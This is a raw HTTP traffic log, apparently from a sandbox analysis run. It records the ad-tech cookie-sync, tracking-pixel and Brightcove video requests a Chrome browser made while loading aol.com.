Source: global traffic	HTTP traffic detected: GET /usersync?b=opx&i=d873ee3a-8fda-4617-8655-b742b2315610 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=apn&i=9165965397510453586 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/master.m3u8?fastly_token=NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=15&redirectUri=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dsad%26i%3D%5Bssb_sync_pid%5D&gdpr=0&gdpr_consent= HTTP/1.1Host: ssbsync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC=19cw~2ila
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAEYBSABKAIyCwji2t736eD9PBAFOAE.
Source: global traffic	HTTP traffic detected: GET /cr?key=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: cr.frontend.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=gumgum&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=vQ3hnAnUS2KhiEag0ubBdw%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=QkQwREUxOUMtMDlENC00QjYyLUExODgtNDZBMEQyRTZDMTc3&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=41551380&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
Source: global traffic	HTTP traffic detected: GET /usersync?b=sus&i=Zk-ElMCo8XwAALxnKz0AAAAA HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&time=1716503699269&event=play_request&video_data=&video_ads_supported=false&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&seq=4_-1 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-zLwwakwy-hZw3.gif?idmatch=0&ssp=gumgum2&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
Source: global traffic	HTTP traffic detected: GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
Source: global traffic	HTTP traffic detected: GET /pagead/ima_ppub_config?ippd=https%3A%2F%2Fwww.aol.com%2F HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=3e077bb4-bf4a-4c19-933e-c98ddd88142e; TDCPM=CAEYBSgCMgsIhOWJ_eng_TwQBTgB
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
